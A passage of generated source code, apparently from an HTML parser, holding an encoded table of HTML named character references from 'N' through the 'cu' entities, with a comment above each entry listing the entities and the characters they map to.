			"\x14gativeVeryThinSpace;\x03​\x13stedGreaterGreater;\x03≫\x12gativeMediumSpace;\x03​\x11gativeThickSpace;\x03​\x10gativeThinSpace;\x03​\x0dstedLessLess;\x03≪\x06wLine;\x01\xa",
			// Nfr;[𝔑].
			"\x02r;\x04𝔑",
			// NotNestedGreaterGreater;[⪢̸] NotSquareSupersetEqual;[⋣] NotPrecedesSlantEqual;[⋠] NotRightTriangleEqual;[⋭] NotSucceedsSlantEqual;[⋡] NotDoubleVerticalBar;[∦] NotGreaterSlantEqual;[⩾̸] NotLeftTriangleEqual;[⋬] NotSquareSubsetEqual;[⋢] NotGreaterFullEqual;[≧̸] NotRightTriangleBar;[⧐̸] NotLeftTriangleBar;[⧏̸] NotGreaterGreater;[≫̸] NotLessSlantEqual;[⩽̸] NotNestedLessLess;[⪡̸] NotReverseElement;[∌] NotSquareSuperset;[⊐̸] NotTildeFullEqual;[≇] NonBreakingSpace;[ ] NotPrecedesEqual;[⪯̸] NotRightTriangle;[⋫] NotSucceedsEqual;[⪰̸] NotSucceedsTilde;[≿̸] NotSupersetEqual;[⊉] NotGreaterEqual;[≱] NotGreaterTilde;[≵] NotHumpDownHump;[≎̸] NotLeftTriangle;[⋪] NotSquareSubset;[⊏̸] NotGreaterLess;[≹] NotLessGreater;[≸] NotSubsetEqual;[⊈] NotVerticalBar;[∤] NotEqualTilde;[≂̸] NotTildeEqual;[≄] NotTildeTilde;[≉] NotCongruent;[≢] NotHumpEqual;[≏̸] NotLessEqual;[≰] NotLessTilde;[≴] NotLessLess;[≪̸] NotPrecedes;[⊀] NotSucceeds;[⊁] NotSuperset;[⊃⃒] NotElement;[∉] NotGreater;[≯] NotCupCap;[≭] NotExists;[∄] NotSubset;[⊂⃒] NotEqual;[≠] NotTilde;[≁] NoBreak;[⁠] NotLess;[≮] Nopf;[ℕ] Not;[⫬].
			"\x16tNestedGreaterGreater;\x05⪢̸\x15tSquareSupersetEqual;\x03⋣\x14tPrecedesSlantEqual;\x03⋠\x14tRightTriangleEqual;\x03⋭\x14tSucceedsSlantEqual;\x03⋡\x13tDoubleVerticalBar;\x03∦\x13tGreaterSlantEqual;\x05⩾̸\x13tLeftTriangleEqual;\x03⋬\x13tSquareSubsetEqual;\x03⋢\x12tGreaterFullEqual;\x05≧̸\x12tRightTriangleBar;\x05⧐̸\x11tLeftTriangleBar;\x05⧏̸\x10tGreaterGreater;\x05≫̸\x10tLessSlantEqual;\x05⩽̸\x10tNestedLessLess;\x05⪡̸\x10tReverseElement;\x03∌\x10tSquareSuperset;\x05⊐̸\x10tTildeFullEqual;\x03≇\x0fnBreakingSpace;\x02 \x0ftPrecedesEqual;\x05⪯̸\x0ftRightTriangle;\x03⋫\x0ftSucceedsEqual;\x05⪰̸\x0ftSucceedsTilde;\x05≿̸\x0ftSupersetEqual;\x03⊉\x0etGreaterEqual;\x03≱\x0etGreaterTilde;\x03≵\x0etHumpDownHump;\x05≎̸\x0etLeftTriangle;\x03⋪\x0etSquareSubset;\x05⊏̸\x0dtGreaterLess;\x03≹\x0dtLessGreater;\x03≸\x0dtSubsetEqual;\x03⊈\x0dtVerticalBar;\x03∤\x0ctEqualTilde;\x05≂̸\x0ctTildeEqual;\x03≄\x0ctTildeTilde;\x03≉\x0btCongruent;\x03≢\x0btHumpEqual;\x05≏̸\x0btLessEqual;\x03≰\x0btLessTilde;\x03≴\x0atLessLess;\x05≪̸\x0atPrecedes;\x03⊀\x0atSucceeds;\x03⊁\x0atSuperset;\x06⊃⃒\x09tElement;\x03∉\x09tGreater;\x03≯\x08tCupCap;\x03≭\x08tExists;\x03∄\x08tSubset;\x06⊂⃒\x07tEqual;\x03≠\x07tTilde;\x03≁\x06Break;\x03⁠\x06tLess;\x03≮\x03pf;\x03ℕ\x02t;\x03⫬",
			// Nscr;[𝒩].
			"\x03cr;\x04𝒩",
			// Ntilde;[Ñ] Ntilde[Ñ].
			"\x05ilde;\x02Ñ\x04ilde\x02Ñ",
			// Nu;[Ν].
			"\x01;\x02Ν",
			// OElig;[Œ].
			"\x04lig;\x02Œ",
			// Oacute;[Ó] Oacute[Ó].
			"\x05cute;\x02Ó\x04cute\x02Ó",
			// Ocirc;[Ô] Ocirc[Ô] Ocy;[О].
			"\x04irc;\x02Ô\x03irc\x02Ô\x02y;\x02О",
			// Odblac;[Ő].
			"\x05blac;\x02Ő",
			// Ofr;[𝔒].
			"\x02r;\x04𝔒",
			// Ograve;[Ò] Ograve[Ò].
			"\x05rave;\x02Ò\x04rave\x02Ò",
			// Omicron;[Ο] Omacr;[Ō] Omega;[Ω].
			"\x06icron;\x02Ο\x04acr;\x02Ō\x04ega;\x02Ω",
			// Oopf;[𝕆].
			"\x03pf;\x04𝕆",
			// OpenCurlyDoubleQuote;[“] OpenCurlyQuote;[‘].
			"\x13enCurlyDoubleQuote;\x03“\x0denCurlyQuote;\x03‘",
			// Or;[⩔].
			"\x01;\x03⩔",
			// Oslash;[Ø] Oslash[Ø] Oscr;[𝒪].
			"\x05lash;\x02Ø\x04lash\x02Ø\x03cr;\x04𝒪",
			// Otilde;[Õ] Otimes;[⨷] Otilde[Õ].
			"\x05ilde;\x02Õ\x05imes;\x03⨷\x04ilde\x02Õ",
			// Ouml;[Ö] Ouml[Ö].
			"\x03ml;\x02Ö\x02ml\x02Ö",
			// OverParenthesis;[⏜] OverBracket;[⎴] OverBrace;[⏞] OverBar;[‾].
			"\x0eerParenthesis;\x03⏜\x0aerBracket;\x03⎴\x08erBrace;\x03⏞\x06erBar;\x03‾",
			// PartialD;[∂].
			"\x07rtialD;\x03∂",
			// Pcy;[П].
			"\x02y;\x02П",
			// Pfr;[𝔓].
			"\x02r;\x04𝔓",
			// Phi;[Φ].
			"\x02i;\x02Φ",
			// Pi;[Π].
			"\x01;\x02Π",
			// PlusMinus;[±].
			"\x08usMinus;\x02±",
			// Poincareplane;[ℌ] Popf;[ℙ].
			"\x0cincareplane;\x03ℌ\x03pf;\x03ℙ",
			// PrecedesSlantEqual;[≼] PrecedesEqual;[⪯] PrecedesTilde;[≾] Proportional;[∝] Proportion;[∷] Precedes;[≺] Product;[∏] Prime;[″] Pr;[⪻].
			"\x11ecedesSlantEqual;\x03≼\x0cecedesEqual;\x03⪯\x0cecedesTilde;\x03≾\x0boportional;\x03∝\x09oportion;\x03∷\x07ecedes;\x03≺\x06oduct;\x03∏\x04ime;\x03″\x01;\x03⪻",
			// Pscr;[𝒫] Psi;[Ψ].
			"\x03cr;\x04𝒫\x02i;\x02Ψ",
			// QUOT;[\"] QUOT[\"].
			"\x03OT;\x01\"\x02OT\x01\"",
			// Qfr;[𝔔].
			"\x02r;\x04𝔔",
			// Qopf;[ℚ].
			"\x03pf;\x03ℚ",
			// Qscr;[𝒬].
			"\x03cr;\x04𝒬",
			// RBarr;[⤐].
			"\x04arr;\x03⤐",
			// REG;[®] REG[®].
			"\x02G;\x02®\x01G\x02®",
			// Racute;[Ŕ] Rarrtl;[⤖] Rang;[⟫] Rarr;[↠].
			"\x05cute;\x02Ŕ\x05rrtl;\x03⤖\x03ng;\x03⟫\x03rr;\x03↠",
			// Rcaron;[Ř] Rcedil;[Ŗ] Rcy;[Р].
			"\x05aron;\x02Ř\x05edil;\x02Ŗ\x02y;\x02Р",
			// ReverseUpEquilibrium;[⥯] ReverseEquilibrium;[⇋] ReverseElement;[∋] Re;[ℜ].
			"\x13verseUpEquilibrium;\x03⥯\x11verseEquilibrium;\x03⇋\x0dverseElement;\x03∋\x01;\x03ℜ",
			// Rfr;[ℜ].
			"\x02r;\x03ℜ",
			// Rho;[Ρ].
			"\x02o;\x02Ρ",
			// RightArrowLeftArrow;[⇄] RightDoubleBracket;[⟧] RightDownTeeVector;[⥝] RightDownVectorBar;[⥕] RightTriangleEqual;[⊵] RightAngleBracket;[⟩] RightUpDownVector;[⥏] RightTriangleBar;[⧐] RightUpTeeVector;[⥜] RightUpVectorBar;[⥔] RightDownVector;[⇂] RightTeeVector;[⥛] RightVectorBar;[⥓] RightArrowBar;[⇥] RightTeeArrow;[↦] RightTriangle;[⊳] RightUpVector;[↾] RightCeiling;[⌉] RightVector;[⇀] RightArrow;[→] RightFloor;[⌋] Rightarrow;[⇒] RightTee;[⊢].
			"\x12ghtArrowLeftArrow;\x03⇄\x11ghtDoubleBracket;\x03⟧\x11ghtDownTeeVector;\x03⥝\x11ghtDownVectorBar;\x03⥕\x11ghtTriangleEqual;\x03⊵\x10ghtAngleBracket;\x03⟩\x10ghtUpDownVector;\x03⥏\x0fghtTriangleBar;\x03⧐\x0fghtUpTeeVector;\x03⥜\x0fghtUpVectorBar;\x03⥔\x0eghtDownVector;\x03⇂\x0dghtTeeVector;\x03⥛\x0dghtVectorBar;\x03⥓\x0cghtArrowBar;\x03⇥\x0cghtTeeArrow;\x03↦\x0cghtTriangle;\x03⊳\x0cghtUpVector;\x03↾\x0bghtCeiling;\x03⌉\x0aghtVector;\x03⇀\x09ghtArrow;\x03→\x09ghtFloor;\x03⌋\x09ghtarrow;\x03⇒\x07ghtTee;\x03⊢",
			// RoundImplies;[⥰] Ropf;[ℝ].
			"\x0bundImplies;\x03⥰\x03pf;\x03ℝ",
			// Rrightarrow;[⇛].
			"\x0aightarrow;\x03⇛",
			// Rscr;[ℛ] Rsh;[↱].
			"\x03cr;\x03ℛ\x02h;\x03↱",
			// RuleDelayed;[⧴].
			"\x0aleDelayed;\x03⧴",
			// SHCHcy;[Щ] SHcy;[Ш].
			"\x05CHcy;\x02Щ\x03cy;\x02Ш",
			// SOFTcy;[Ь].
			"\x05FTcy;\x02Ь",
			// Sacute;[Ś].
			"\x05cute;\x02Ś",
			// Scaron;[Š] Scedil;[Ş] Scirc;[Ŝ] Scy;[С] Sc;[⪼].
			"\x05aron;\x02Š\x05edil;\x02Ş\x04irc;\x02Ŝ\x02y;\x02С\x01;\x03⪼",
			// Sfr;[𝔖].
			"\x02r;\x04𝔖",
			// ShortRightArrow;[→] ShortDownArrow;[↓] ShortLeftArrow;[←] ShortUpArrow;[↑].
			"\x0eortRightArrow;\x03→\x0dortDownArrow;\x03↓\x0dortLeftArrow;\x03←\x0bortUpArrow;\x03↑",
			// Sigma;[Σ].
			"\x04gma;\x02Σ",
			// SmallCircle;[∘].
			"\x0aallCircle;\x03∘",
			// Sopf;[𝕊].
			"\x03pf;\x04𝕊",
			// SquareSupersetEqual;[⊒] SquareIntersection;[⊓] SquareSubsetEqual;[⊑] SquareSuperset;[⊐] SquareSubset;[⊏] SquareUnion;[⊔] Square;[□] Sqrt;[√].
			"\x12uareSupersetEqual;\x03⊒\x11uareIntersection;\x03⊓\x10uareSubsetEqual;\x03⊑\x0duareSuperset;\x03⊐\x0buareSubset;\x03⊏\x0auareUnion;\x03⊔\x05uare;\x03□\x03rt;\x03√",
			// Sscr;[𝒮].
			"\x03cr;\x04𝒮",
			// Star;[⋆].
			"\x03ar;\x03⋆",
			// SucceedsSlantEqual;[≽] SucceedsEqual;[⪰] SucceedsTilde;[≿] SupersetEqual;[⊇] SubsetEqual;[⊆] Succeeds;[≻] SuchThat;[∋] Superset;[⊃] Subset;[⋐] Supset;[⋑] Sub;[⋐] Sum;[∑] Sup;[⋑].
			"\x11cceedsSlantEqual;\x03≽\x0ccceedsEqual;\x03⪰\x0ccceedsTilde;\x03≿\x0cpersetEqual;\x03⊇\x0absetEqual;\x03⊆\x07cceeds;\x03≻\x07chThat;\x03∋\x07perset;\x03⊃\x05bset;\x03⋐\x05pset;\x03⋑\x02b;\x03⋐\x02m;\x03∑\x02p;\x03⋑",
			// THORN;[Þ] THORN[Þ].
			"\x04ORN;\x02Þ\x03ORN\x02Þ",
			// TRADE;[™].
			"\x04ADE;\x03™",
			// TSHcy;[Ћ] TScy;[Ц].
			"\x04Hcy;\x02Ћ\x03cy;\x02Ц",
			// Tab;[\x9] Tau;[Τ].
			"\x02b;\x01\x9\x02u;\x02Τ",
			// Tcaron;[Ť] Tcedil;[Ţ] Tcy;[Т].
			"\x05aron;\x02Ť\x05edil;\x02Ţ\x02y;\x02Т",
			// Tfr;[𝔗].
			"\x02r;\x04𝔗",
			// ThickSpace;[  ] Therefore;[∴] ThinSpace;[ ] Theta;[Θ].
			"\x09ickSpace;\x06  \x08erefore;\x03∴\x08inSpace;\x03 \x04eta;\x02Θ",
			// TildeFullEqual;[≅] TildeEqual;[≃] TildeTilde;[≈] Tilde;[∼].
			"\x0dldeFullEqual;\x03≅\x09ldeEqual;\x03≃\x09ldeTilde;\x03≈\x04lde;\x03∼",
			// Topf;[𝕋].
			"\x03pf;\x04𝕋",
			// TripleDot;[⃛].
			"\x08ipleDot;\x03⃛",
			// Tstrok;[Ŧ] Tscr;[𝒯].
			"\x05trok;\x02Ŧ\x03cr;\x04𝒯",
			// Uarrocir;[⥉] Uacute;[Ú] Uacute[Ú] Uarr;[↟].
			"\x07rrocir;\x03⥉\x05cute;\x02Ú\x04cute\x02Ú\x03rr;\x03↟",
			// Ubreve;[Ŭ] Ubrcy;[Ў].
			"\x05reve;\x02Ŭ\x04rcy;\x02Ў",
			// Ucirc;[Û] Ucirc[Û] Ucy;[У].
			"\x04irc;\x02Û\x03irc\x02Û\x02y;\x02У",
			// Udblac;[Ű].
			"\x05blac;\x02Ű",
			// Ufr;[𝔘].
			"\x02r;\x04𝔘",
			// Ugrave;[Ù] Ugrave[Ù].
			"\x05rave;\x02Ù\x04rave\x02Ù",
			// Umacr;[Ū].
			"\x04acr;\x02Ū",
			// UnderParenthesis;[⏝] UnderBracket;[⎵] UnderBrace;[⏟] UnionPlus;[⊎] UnderBar;[_] Union;[⋃].
			"\x0fderParenthesis;\x03⏝\x0bderBracket;\x03⎵\x09derBrace;\x03⏟\x08ionPlus;\x03⊎\x07derBar;\x01_\x04ion;\x03⋃",
			// Uogon;[Ų] Uopf;[𝕌].
			"\x04gon;\x02Ų\x03pf;\x04𝕌",
			// UpArrowDownArrow;[⇅] UpperRightArrow;[↗] UpperLeftArrow;[↖] UpEquilibrium;[⥮] UpDownArrow;[↕] Updownarrow;[⇕] UpArrowBar;[⤒] UpTeeArrow;[↥] UpArrow;[↑] Uparrow;[⇑] Upsilon;[Υ] UpTee;[⊥] Upsi;[ϒ].
			"\x0fArrowDownArrow;\x03⇅\x0eperRightArrow;\x03↗\x0dperLeftArrow;\x03↖\x0cEquilibrium;\x03⥮\x0aDownArrow;\x03↕\x0adownarrow;\x03⇕\x09ArrowBar;\x03⤒\x09TeeArrow;\x03↥\x06Arrow;\x03↑\x06arrow;\x03⇑\x06silon;\x02Υ\x04Tee;\x03⊥\x03si;\x02ϒ",
			// Uring;[Ů].
			"\x04ing;\x02Ů",
			// Uscr;[𝒰].
			"\x03cr;\x04𝒰",
			// Utilde;[Ũ].
			"\x05ilde;\x02Ũ",
			// Uuml;[Ü] Uuml[Ü].
			"\x03ml;\x02Ü\x02ml\x02Ü",
			// VDash;[⊫].
			"\x04ash;\x03⊫",
			// Vbar;[⫫].
			"\x03ar;\x03⫫",
			// Vcy;[В].
			"\x02y;\x02В",
			// Vdashl;[⫦] Vdash;[⊩].
			"\x05ashl;\x03⫦\x04ash;\x03⊩",
			// VerticalSeparator;[❘] VerticalTilde;[≀] VeryThinSpace;[ ] VerticalLine;[|] VerticalBar;[∣] Verbar;[‖] Vert;[‖] Vee;[⋁].
			"\x10rticalSeparator;\x03❘\x0crticalTilde;\x03≀\x0cryThinSpace;\x03 \x0brticalLine;\x01|\x0articalBar;\x03∣\x05rbar;\x03‖\x03rt;\x03‖\x02e;\x03⋁",
			// Vfr;[𝔙].
			"\x02r;\x04𝔙",
			// Vopf;[𝕍].
			"\x03pf;\x04𝕍",
			// Vscr;[𝒱].
			"\x03cr;\x04𝒱",
			// Vvdash;[⊪].
			"\x05dash;\x03⊪",
			// Wcirc;[Ŵ].
			"\x04irc;\x02Ŵ",
			// Wedge;[⋀].
			"\x04dge;\x03⋀",
			// Wfr;[𝔚].
			"\x02r;\x04𝔚",
			// Wopf;[𝕎].
			"\x03pf;\x04𝕎",
			// Wscr;[𝒲].
			"\x03cr;\x04𝒲",
			// Xfr;[𝔛].
			"\x02r;\x04𝔛",
			// Xi;[Ξ].
			"\x01;\x02Ξ",
			// Xopf;[𝕏].
			"\x03pf;\x04𝕏",
			// Xscr;[𝒳].
			"\x03cr;\x04𝒳",
			// YAcy;[Я].
			"\x03cy;\x02Я",
			// YIcy;[Ї].
			"\x03cy;\x02Ї",
			// YUcy;[Ю].
			"\x03cy;\x02Ю",
			// Yacute;[Ý] Yacute[Ý].
			"\x05cute;\x02Ý\x04cute\x02Ý",
			// Ycirc;[Ŷ] Ycy;[Ы].
			"\x04irc;\x02Ŷ\x02y;\x02Ы",
			// Yfr;[𝔜].
			"\x02r;\x04𝔜",
			// Yopf;[𝕐].
			"\x03pf;\x04𝕐",
			// Yscr;[𝒴].
			"\x03cr;\x04𝒴",
			// Yuml;[Ÿ].
			"\x03ml;\x02Ÿ",
			// ZHcy;[Ж].
			"\x03cy;\x02Ж",
			// Zacute;[Ź].
			"\x05cute;\x02Ź",
			// Zcaron;[Ž] Zcy;[З].
			"\x05aron;\x02Ž\x02y;\x02З",
			// Zdot;[Ż].
			"\x03ot;\x02Ż",
			// ZeroWidthSpace;[​] Zeta;[Ζ].
			"\x0droWidthSpace;\x03​\x03ta;\x02Ζ",
			// Zfr;[ℨ].
			"\x02r;\x03ℨ",
			// Zopf;[ℤ].
			"\x03pf;\x03ℤ",
			// Zscr;[𝒵].
			"\x03cr;\x04𝒵",
			// aacute;[á] aacute[á].
			"\x05cute;\x02á\x04cute\x02á",
			// abreve;[ă].
			"\x05reve;\x02ă",
			// acirc;[â] acute;[´] acirc[â] acute[´] acE;[∾̳] acd;[∿] acy;[а] ac;[∾].
			"\x04irc;\x02â\x04ute;\x02´\x03irc\x02â\x03ute\x02´\x02E;\x05∾̳\x02d;\x03∿\x02y;\x02а\x01;\x03∾",
			// aelig;[æ] aelig[æ].
			"\x04lig;\x02æ\x03lig\x02æ",
			// afr;[𝔞] af;[⁡].
			"\x02r;\x04𝔞\x01;\x03⁡",
			// agrave;[à] agrave[à].
			"\x05rave;\x02à\x04rave\x02à",
			// alefsym;[ℵ] aleph;[ℵ] alpha;[α].
			"\x06efsym;\x03ℵ\x04eph;\x03ℵ\x04pha;\x02α",
			// amacr;[ā] amalg;[⨿] amp;[&] amp[&].
			"\x04acr;\x02ā\x04alg;\x03⨿\x02p;\x01&\x01p\x01&",
			// andslope;[⩘] angmsdaa;[⦨] angmsdab;[⦩] angmsdac;[⦪] angmsdad;[⦫] angmsdae;[⦬] angmsdaf;[⦭] angmsdag;[⦮] angmsdah;[⦯] angrtvbd;[⦝] angrtvb;[⊾] angzarr;[⍼] andand;[⩕] angmsd;[∡] angsph;[∢] angle;[∠] angrt;[∟] angst;[Å] andd;[⩜] andv;[⩚] ange;[⦤] and;[∧] ang;[∠].
			"\x07dslope;\x03⩘\x07gmsdaa;\x03⦨\x07gmsdab;\x03⦩\x07gmsdac;\x03⦪\x07gmsdad;\x03⦫\x07gmsdae;\x03⦬\x07gmsdaf;\x03⦭\x07gmsdag;\x03⦮\x07gmsdah;\x03⦯\x07grtvbd;\x03⦝\x06grtvb;\x03⊾\x06gzarr;\x03⍼\x05dand;\x03⩕\x05gmsd;\x03∡\x05gsph;\x03∢\x04gle;\x03∠\x04grt;\x03∟\x04gst;\x02Å\x03dd;\x03⩜\x03dv;\x03⩚\x03ge;\x03⦤\x02d;\x03∧\x02g;\x03∠",
			// aogon;[ą] aopf;[𝕒].
			"\x04gon;\x02ą\x03pf;\x04𝕒",
			// approxeq;[≊] apacir;[⩯] approx;[≈] apid;[≋] apos;['] apE;[⩰] ape;[≊] ap;[≈].
			"\x07proxeq;\x03≊\x05acir;\x03⩯\x05prox;\x03≈\x03id;\x03≋\x03os;\x01'\x02E;\x03⩰\x02e;\x03≊\x01;\x03≈",
			// aring;[å] aring[å].
			"\x04ing;\x02å\x03ing\x02å",
			// asympeq;[≍] asymp;[≈] ascr;[𝒶] ast;[*].
			"\x06ympeq;\x03≍\x04ymp;\x03≈\x03cr;\x04𝒶\x02t;\x01*",
			// atilde;[ã] atilde[ã].
			"\x05ilde;\x02ã\x04ilde\x02ã",
			// auml;[ä] auml[ä].
			"\x03ml;\x02ä\x02ml\x02ä",
			// awconint;[∳] awint;[⨑].
			"\x07conint;\x03∳\x04int;\x03⨑",
			// bNot;[⫭].
			"\x03ot;\x03⫭",
			// backepsilon;[϶] backprime;[‵] backsimeq;[⋍] backcong;[≌] barwedge;[⌅] backsim;[∽] barvee;[⊽] barwed;[⌅].
			"\x0ackepsilon;\x02϶\x08ckprime;\x03‵\x08cksimeq;\x03⋍\x07ckcong;\x03≌\x07rwedge;\x03⌅\x06cksim;\x03∽\x05rvee;\x03⊽\x05rwed;\x03⌅",
			// bbrktbrk;[⎶] bbrk;[⎵].
			"\x07rktbrk;\x03⎶\x03rk;\x03⎵",
			// bcong;[≌] bcy;[б].
			"\x04ong;\x03≌\x02y;\x02б",
			// bdquo;[„].
			"\x04quo;\x03„",
			// because;[∵] bemptyv;[⦰] between;[≬] becaus;[∵] bernou;[ℬ] bepsi;[϶] beta;[β] beth;[ℶ].
			"\x06cause;\x03∵\x06mptyv;\x03⦰\x06tween;\x03≬\x05caus;\x03∵\x05rnou;\x03ℬ\x04psi;\x02϶\x03ta;\x02β\x03th;\x03ℶ",
			// bfr;[𝔟].
			"\x02r;\x04𝔟",
			// bigtriangledown;[▽] bigtriangleup;[△] bigotimes;[⨂] bigoplus;[⨁] bigsqcup;[⨆] biguplus;[⨄] bigwedge;[⋀] bigcirc;[◯] bigodot;[⨀] bigstar;[★] bigcap;[⋂] bigcup;[⋃] bigvee;[⋁].
			"\x0egtriangledown;\x03▽\x0cgtriangleup;\x03△\x08gotimes;\x03⨂\x07goplus;\x03⨁\x07gsqcup;\x03⨆\x07guplus;\x03⨄\x07gwedge;\x03⋀\x06gcirc;\x03◯\x06godot;\x03⨀\x06gstar;\x03★\x05gcap;\x03⋂\x05gcup;\x03⋃\x05gvee;\x03⋁",
			// bkarow;[⤍].
			"\x05arow;\x03⤍",
			// blacktriangleright;[▸] blacktriangledown;[▾] blacktriangleleft;[◂] blacktriangle;[▴] blacklozenge;[⧫] blacksquare;[▪] blank;[␣] blk12;[▒] blk14;[░] blk34;[▓] block;[█].
			"\x11acktriangleright;\x03▸\x10acktriangledown;\x03▾\x10acktriangleleft;\x03◂\x0cacktriangle;\x03▴\x0backlozenge;\x03⧫\x0aacksquare;\x03▪\x04ank;\x03␣\x04k12;\x03▒\x04k14;\x03░\x04k34;\x03▓\x04ock;\x03█",
			// bnequiv;[≡⃥] bnot;[⌐] bne;[=⃥].
			"\x06equiv;\x06≡⃥\x03ot;\x03⌐\x02e;\x04=⃥",
			// boxminus;[⊟] boxtimes;[⊠] boxplus;[⊞] bottom;[⊥] bowtie;[⋈] boxbox;[⧉] boxDL;[╗] boxDR;[╔] boxDl;[╖] boxDr;[╓] boxHD;[╦] boxHU;[╩] boxHd;[╤] boxHu;[╧] boxUL;[╝] boxUR;[╚] boxUl;[╜] boxUr;[╙] boxVH;[╬] boxVL;[╣] boxVR;[╠] boxVh;[╫] boxVl;[╢] boxVr;[╟] boxdL;[╕] boxdR;[╒] boxdl;[┐] boxdr;[┌] boxhD;[╥] boxhU;[╨] boxhd;[┬] boxhu;[┴] boxuL;[╛] boxuR;[╘] boxul;[┘] boxur;[└] boxvH;[╪] boxvL;[╡] boxvR;[╞] boxvh;[┼] boxvl;[┤] boxvr;[├] bopf;[𝕓] boxH;[═] boxV;[║] boxh;[─] boxv;[│] bot;[⊥].
			"\x07xminus;\x03⊟\x07xtimes;\x03⊠\x06xplus;\x03⊞\x05ttom;\x03⊥\x05wtie;\x03⋈\x05xbox;\x03⧉\x04xDL;\x03╗\x04xDR;\x03╔\x04xDl;\x03╖\x04xDr;\x03╓\x04xHD;\x03╦\x04xHU;\x03╩\x04xHd;\x03╤\x04xHu;\x03╧\x04xUL;\x03╝\x04xUR;\x03╚\x04xUl;\x03╜\x04xUr;\x03╙\x04xVH;\x03╬\x04xVL;\x03╣\x04xVR;\x03╠\x04xVh;\x03╫\x04xVl;\x03╢\x04xVr;\x03╟\x04xdL;\x03╕\x04xdR;\x03╒\x04xdl;\x03┐\x04xdr;\x03┌\x04xhD;\x03╥\x04xhU;\x03╨\x04xhd;\x03┬\x04xhu;\x03┴\x04xuL;\x03╛\x04xuR;\x03╘\x04xul;\x03┘\x04xur;\x03└\x04xvH;\x03╪\x04xvL;\x03╡\x04xvR;\x03╞\x04xvh;\x03┼\x04xvl;\x03┤\x04xvr;\x03├\x03pf;\x04𝕓\x03xH;\x03═\x03xV;\x03║\x03xh;\x03─\x03xv;\x03│\x02t;\x03⊥",
			// bprime;[‵].
			"\x05rime;\x03‵",
			// brvbar;[¦] breve;[˘] brvbar[¦].
			"\x05vbar;\x02¦\x04eve;\x02˘\x04vbar\x02¦",
			// bsolhsub;[⟈] bsemi;[⁏] bsime;[⋍] bsolb;[⧅] bscr;[𝒷] bsim;[∽] bsol;[\\].
			"\x07olhsub;\x03⟈\x04emi;\x03⁏\x04ime;\x03⋍\x04olb;\x03⧅\x03cr;\x04𝒷\x03im;\x03∽\x03ol;\x01\\",
			// bullet;[•] bumpeq;[≏] bumpE;[⪮] bumpe;[≏] bull;[•] bump;[≎].
			"\x05llet;\x03•\x05mpeq;\x03≏\x04mpE;\x03⪮\x04mpe;\x03≏\x03ll;\x03•\x03mp;\x03≎",
			// capbrcup;[⩉] cacute;[ć] capand;[⩄] capcap;[⩋] capcup;[⩇] capdot;[⩀] caret;[⁁] caron;[ˇ] caps;[∩︀] cap;[∩].
			"\x07pbrcup;\x03⩉\x05cute;\x02ć\x05pand;\x03⩄\x05pcap;\x03⩋\x05pcup;\x03⩇\x05pdot;\x03⩀\x04ret;\x03⁁\x04ron;\x02ˇ\x03ps;\x06∩︀\x02p;\x03∩",
			// ccupssm;[⩐] ccaron;[č] ccedil;[ç] ccaps;[⩍] ccedil[ç] ccirc;[ĉ] ccups;[⩌].
			"\x06upssm;\x03⩐\x05aron;\x02č\x05edil;\x02ç\x04aps;\x03⩍\x04edil\x02ç\x04irc;\x02ĉ\x04ups;\x03⩌",
			// cdot;[ċ].
			"\x03ot;\x02ċ",
			// centerdot;[·] cemptyv;[⦲] cedil;[¸] cedil[¸] cent;[¢] cent[¢].
			"\x08nterdot;\x02·\x06mptyv;\x03⦲\x04dil;\x02¸\x03dil\x02¸\x03nt;\x02¢\x02nt\x02¢",
			// cfr;[𝔠].
			"\x02r;\x04𝔠",
			// checkmark;[✓] check;[✓] chcy;[ч] chi;[χ].
			"\x08eckmark;\x03✓\x04eck;\x03✓\x03cy;\x02ч\x02i;\x02χ",
			// circlearrowright;[↻] circlearrowleft;[↺] circledcirc;[⊚] circleddash;[⊝] circledast;[⊛] circledR;[®] circledS;[Ⓢ] cirfnint;[⨐] cirscir;[⧂] circeq;[≗] cirmid;[⫯] cirE;[⧃] circ;[ˆ] cire;[≗] cir;[○].
			"\x0frclearrowright;\x03↻\x0erclearrowleft;\x03↺\x0arcledcirc;\x03⊚\x0arcleddash;\x03⊝\x09rcledast;\x03⊛\x07rcledR;\x02®\x07rcledS;\x03Ⓢ\x07rfnint;\x03⨐\x06rscir;\x03⧂\x05rceq;\x03≗\x05rmid;\x03⫯\x03rE;\x03⧃\x03rc;\x02ˆ\x03re;\x03≗\x02r;\x03○",
			// clubsuit;[♣] clubs;[♣].
			"\x07ubsuit;\x03♣\x04ubs;\x03♣",
			// complement;[∁] complexes;[ℂ] coloneq;[≔] congdot;[⩭] colone;[≔] commat;[@] compfn;[∘] conint;[∮] coprod;[∐] copysr;[℗] colon;[:] comma;[,] comp;[∁] cong;[≅] copf;[𝕔] copy;[©] copy[©].
			"\x09mplement;\x03∁\x08mplexes;\x03ℂ\x06loneq;\x03≔\x06ngdot;\x03⩭\x05lone;\x03≔\x05mmat;\x01@\x05mpfn;\x03∘\x05nint;\x03∮\x05prod;\x03∐\x05pysr;\x03℗\x04lon;\x01:\x04mma;\x01,\x03mp;\x03∁\x03ng;\x03≅\x03pf;\x04𝕔\x03py;\x02©\x02py\x02©",
			// crarr;[↵] cross;[✗].
			"\x04arr;\x03↵\x04oss;\x03✗",
			// csube;[⫑] csupe;[⫒] cscr;[𝒸] csub;[⫏] csup;[⫐].
			"\x04ube;\x03⫑\x04upe;\x03⫒\x03cr;\x04𝒸\x03ub;\x03⫏\x03up;\x03⫐",
			// ctdot;[⋯].
			"\x04dot;\x03⋯",
			// curvearrowright;[↷] curvearrowleft;[↶] curlyeqprec;[⋞] curlyeqsucc;[⋟] curlywedge;[⋏] cupbrcap;[⩈] curlyvee;[⋎] cudarrl;[⤸] cudarrr;[⤵] cularrp;[⤽] curarrm;[⤼] cularr;[↶] cupcap;[⩆] cupcup;[⩊] cupdot;[⊍] curarr;[↷] curren;[¤] cuepr;[⋞] cuesc;[⋟] cupor;[⩅] curren[¤] cuvee;[⋎] cuwed;[⋏] cups;[∪︀] cup;[∪].
